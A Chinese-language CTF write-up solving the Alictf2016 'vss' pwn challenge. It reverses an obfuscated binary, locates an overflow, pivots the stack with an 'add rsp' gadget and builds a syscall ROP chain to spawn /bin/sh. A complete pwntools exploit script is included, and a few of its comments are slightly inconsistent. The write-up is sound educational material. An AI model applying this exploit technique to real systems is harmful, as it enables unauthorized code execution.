[pwn]ROP:通過ESP和EBP間接控制EIP

[詳細]ROP:通過ESP和EBP間接控制EIP

這次試用的是Alictf2016的試題vss,參考 i春秋上的PWN入門4 ,不得不說Sp4ce大佬選的例子都非常好,文章也非常好。我在這裏算是詳細講解如何利用ESP和EBP來間接控制EIP。

程序鏈接:https://pan.baidu.com/s/1vJBuVD9pEGMiCeSsA1iXNQ 提取碼:5ily
複製這段內容後打開百度網盤手機App,操作更方便哦

在一些情況下,如複製或輸入內容不夠長,不足以通過溢出覆蓋到棧中的返回值(如下圖),但可以覆蓋到返回值上面的原EBP值。或是可以覆蓋棧中一些關鍵變量(之後會賦給ESP或EBP的)值的時候,可以通過操作這些變量直接將棧劫持到另一處我們可控或者有gadget的地址中,然後再進行ROP。
在這裏插入圖片描述

信息蒐集

在這裏插入圖片描述
64位,開啓了NX策略,接下來閱讀代碼,剛一打開,發現代碼被模糊混淆了,不可讀:
在這裏插入圖片描述
所有函數名字都變得很奇怪,光從名字不知道哪個是幹嘛的,唯一可以得到的線索是start,那麼能找到start就可以找到main,進入start:
在這裏插入圖片描述
start最後調用的函數一定是__libc_start_main,那麼他的參數就是main函數,然後進入main函數,繼續看:
在這裏插入圖片描述
根據一些常見特徵,可以很明顯的分析出sub_408800是puts函數,sub_437EA0是read函數,sub_40108E是自定義的函數,具體功能還需進入函數內部查看:
在這裏插入圖片描述
有三個參數,第一個是一個字符串,第二個是字符串,第三個是數字,懷疑是strncpy,一會可以驗證一下,彙編代碼有點看不懂,逆向一下:
在這裏插入圖片描述
可以看到在進行復制之後進行了一下判斷,如果前兩個字節位112和121就直接返回,那麼就是前兩個字符爲p和y就直接返回,接下來的有點難看懂,先運行看看:
在這裏插入圖片描述
有溢出,可以確定是在79個字符處,有點奇怪,想起來頭兩個字符要是py,再測試一次:
在這裏插入圖片描述
更懵了,只輸一個py都溢出,想起了複製是複製固定長度0x50也就是80個字符,那麼會不會這80個字符就會引起溢出,還是ida調試一下就明白了。

尋找溢出位置

先執行到call read之前,注意read讀入了0x400個字符呢:
在這裏插入圖片描述
這是此時的棧頂,沒什麼問題:
在這裏插入圖片描述
這裏read讀入了400個字符,但後來在那個函數中有一個strncpy複製80個字符的操作,所以我們先輸入80個,爲了明顯我輸入了70個’a’和10個’1’,然後執行call read:
在這裏插入圖片描述
在這裏插入圖片描述
可以看到,已經輸入進來了,然後執行進入那個函數,執行到strncpy之前:
在這裏插入圖片描述
記住這幾個操作,看一下棧的狀態:
在這裏插入圖片描述
然後哦執行call strncpy:
在這裏插入圖片描述
如何溢出的一目瞭然。

之所以造成這樣就是因爲,接收復制的變量距棧底有0x40,卻複製了0x50個也就是16字符,正好覆蓋到了返回地址。

利用思路

根據剛纔找到的溢出點,我們可以確認的是,我們的第73~80個字符會正好覆蓋返回地址,但爲了能讓它直接返回,我們必須開頭兩個字符時py,要麼不會直接返回,會被亂七八糟的操作修改我們的輸入:
在這裏插入圖片描述
那麼問題又來了,整個程序被混淆了,我們不知道哪個函數是啥,整個程序也沒找到什麼外部段,說明也沒引入libc,還開啓了NX策略,無法直接在棧中寫代碼,還只能覆蓋一個地址,因爲只複製了0x50個字符,最後8個覆蓋了返回地址,然後沒了,不能繼續寫了,那麼如何構建ROP?

值得注意的是,緊接着返回地址的是main函數的棧,而最開始就是輸入的內容,但輸入的內容最開始必須以’py’爲起始,這也就造成了我們不能再開始就寫一個地址然後連續返回的ROP鏈,形如下圖,而且由於複製使用的是strncpy,在前80個字符之中不能出現0x00,所以只能將地址寫在最後一位(最後一位地址中的0x00在最後不影響,但main中使用的read函數可以讀0x00):
在這裏插入圖片描述
所以我們採取的辦法是,使用一段能改變棧頂rsp的代碼,然後立刻返回的代碼,形如:

sub rsp xxx
retn

sub的值應該大於0x50(跳過前80個不能寫地址的區域),距離0x400還有一定距離(read讀取0x400個字符),思路如下圖:
在這裏插入圖片描述
首先要找到符合條件的代碼段,搜索發現有很多:add rsp的,找到一個大於0x50並且緊接着retn的,如我找到的這個:0x46F2F1
在這裏插入圖片描述
在這裏插入圖片描述
類似的還有很多,然後要考慮如何getshell,接下來就不是那麼困難了,由於沒有引入libc,但可以找到程序中有很多syscall,我們可以通過syscall來調用我們需要的函數,這裏有syscall調用表 。我們用傳統的方法,先調用read(syscall調用表0號)讀入’/bin/sh’然後再調用sys_execve(syscall調用表59號)。

由於read和sys_execve都是三個參數,所以我們要找到下面幾種gadget能操作rdi,rsi,rdx三個寄存器:

1:
pop rdx
pop rsi
retn
2:
pop rdi
rtn

第一個很好找:0x43AE29
在這裏插入圖片描述
在這裏插入圖片描述
第二個無法直接找到,但別忘了,pop rdi是pop r15的一部分(上一篇博客有說),所以這就很好找了,pop r15;retn有一大堆,隨便找一個就行,別忘了地址加一:0x405114
在這裏插入圖片描述
接下來再找一個存放’/bin/sh’的地方,我看這裏就不錯(選一個可寫可讀並且沒有數據的地方,但有時候還會出問題,多找幾遍就好了):0x6C5C50
在這裏插入圖片描述
在這裏插入圖片描述
爲了系統調用,還要找到合適的syscall,有syscall是根據eax的值來調用的,所以最好找到操作eax和syscall在一起的gadget或者是操作eax然後返回的,也就是形如以下兩種:

1:
mov/pop eax
syscall
retn
2:
mov/pop eax
retn

關於調用read的,直接找到了一個,這裏syscall距離retn之間有段代碼,並不影響,條件語句,反正也不會執行:0x437ea9
在這裏插入圖片描述
在這裏插入圖片描述
沒有找到直接調用sys_execve的,那就找pop eax吧,然後找到了一個:
在這裏插入圖片描述
在這裏插入圖片描述
那現在完事具備,完成ROP鏈即可,完整代碼如下,ROP鏈構造可見註釋:

#!/usr/bin/python
#coding:utf-8

from pwn import *

elf1 = ELF('./vss')
elf=process('./vss')

payload='py'              #以'py'開頭
payload+='A'*70           #padding
payload+=p64(0x46F2F1)    #add rsp,78h;retn
payload+='A'*40           #padding,因爲下移了0x78,補全至0x78
payload+=p64(0x43AE29)    #pop rdx;pop rsi;retn
payload+=p64(0x8)         #rdx=8,read第三個參數,讀入數據的長度
payload+=p64(0x6C5C50)    #rsi=0x6c7079,read第二個參數,binsh讀入地址
payload+=p64(0x405114)    #pop rdi;retn
payload+=p64(0x0)         #rdi=0,read第一個參數
payload+=p64(0x437ea9)    #mov eax,0;syscall


payload+=p64(0x43AE29)    #pop rdx;pop rsi;retn
payload+=p64(0x0)         #rdx=0,sys_execve第三個參數,0
payload+=p64(0x0)         #rsi=0,sys_execve第二個參數,0
payload+=p64(0x405114)    #pop rdi;retn
payload+=p64(0x6C5C50)    #'/bin/sh'地址,sys_execve第三個參數
payload+=p64(0x46F62A)    #pop rax;retn,準備用syscall調用sys_execve,調用編號59
payload+=p64(59)          #eax=59
payload+=p64(0x40174B)    #syscall

elf.recv()
elf.sendline(payload)


elf.send('/bin/sh\x00')
elf.interactive()

執行,成功getshell:在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章